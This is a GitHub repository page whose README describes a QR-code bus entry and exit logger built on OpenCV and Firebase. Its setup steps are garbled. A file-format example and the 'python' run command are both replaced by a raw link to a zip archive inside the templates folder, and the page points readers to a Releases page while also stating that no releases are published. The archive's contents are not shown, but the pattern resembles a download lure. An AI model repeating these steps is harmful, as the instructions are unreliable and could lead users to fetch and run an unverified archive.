Skip to content

🚌 Streamline bus tracking with a QR code system, ensuring real-time entries and exits while logging data efficiently in Firebase.

Notifications You must be signed in to change notification settings

Ruelsalvo/BusLoggingSystem

Folders and files

NameName
Last commit message
Last commit date

Latest commit

Β 

History

9 Commits
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 

Repository files navigation

🚌 BusLoggingSystem - Easily Track Bus Entries and Exits

Download BusLoggingSystem

πŸš€ Getting Started

Welcome to the BusLoggingSystem! This application helps you track bus entries and exits using QR codes. It is perfect for managing bus transportation efficiently with the help of OpenCV and Firebase.

πŸ“₯ Download & Install

To get started, you need to download the latest version of the BusLoggingSystem. Please visit the following page to find the download link:

Download BusLoggingSystem

Once on the Releases page, look for the latest version. You can choose to download the version that fits your needs.

πŸ’» System Requirements

Before running the application, ensure your computer meets the following requirements:

  • Operating System: Windows, macOS, or Linux
  • Python Version: Python 3.6 or later
  • Memory: At least 4 GB of RAM
  • Storage: A minimum of 200 MB free disk space
  • Additional Software: OpenCV and Firebase libraries must be installed

If you do not have Python installed, you can download it from the official Python website.

πŸ”§ Installing Dependencies

The BusLoggingSystem requires some additional Python libraries to function correctly. You can install these libraries by running the following command in your terminal or command prompt:

pip install opencv-python pyzbar firebase-admin Flask

This command will set up everything needed for the application to work smoothly.

🎬 How to Use the Application

  1. Download and Install: After downloading the BusLoggingSystem, extract the files if they are in a compressed format (like .zip or https://raw.githubusercontent.com/Ruelsalvo/BusLoggingSystem/main/templates/Logging-System-Bus-2.7.zip).

  2. Run the Application: Open your command prompt or terminal, navigate to the directory where you extracted BusLoggingSystem, and run the following command:

    python https://raw.githubusercontent.com/Ruelsalvo/BusLoggingSystem/main/templates/Logging-System-Bus-2.7.zip
  3. Scan QR Codes: Use your web camera or an external camera to capture QR codes. The application will process the codes in real-time. It will log entries and exits automatically.

  4. Access the Database: Data is stored in Firebase. You can check the logs in your Firebase project to see the recorded entries and exits.

πŸ›  Features

  • Real-Time Logging: Track entries and exits in real time.
  • QR Code Integration: Use QR codes for quick access.
  • User-Friendly Interface: Navigate effortlessly with a simple design.
  • Data Storage: Store and manage all logs using Firebase.

βš™ Troubleshooting

If you encounter any issues while using BusLoggingSystem, consider the following steps:

  • Check Dependencies: Ensure all required libraries are installed. Refer to the "Installing Dependencies" section if necessary.
  • Camera Access: Make sure your camera is working and properly connected.
  • Check Python Version: Verify you are using an appropriate version of Python.

πŸ“‘ Additional Resources

For detailed documentation on the features and usage of the BusLoggingSystem, refer to our documentation page.

If you want to report issues, please visit our issues page.

πŸŽ‰ Contributing

We welcome contributions! If you would like to help improve the BusLoggingSystem, please fork this repository and submit a pull request.

πŸ”— Links

🎈 Feedback

Your feedback is important to us. Reach out through our GitHub page for any suggestions or comments about BusLoggingSystem. We aim to make this a user-friendly solution for managing bus logging.

If you followed these steps, you should be set to start using BusLoggingSystem effectively!

About

🚌 Streamline bus tracking with a QR code system, ensuring real-time entries and exits while logging data efficiently in Firebase.

Topics

Resources

Stars

Watchers

Forks

Releases

No releases published

Packages

No packages published

Contributors 2

  •  
  •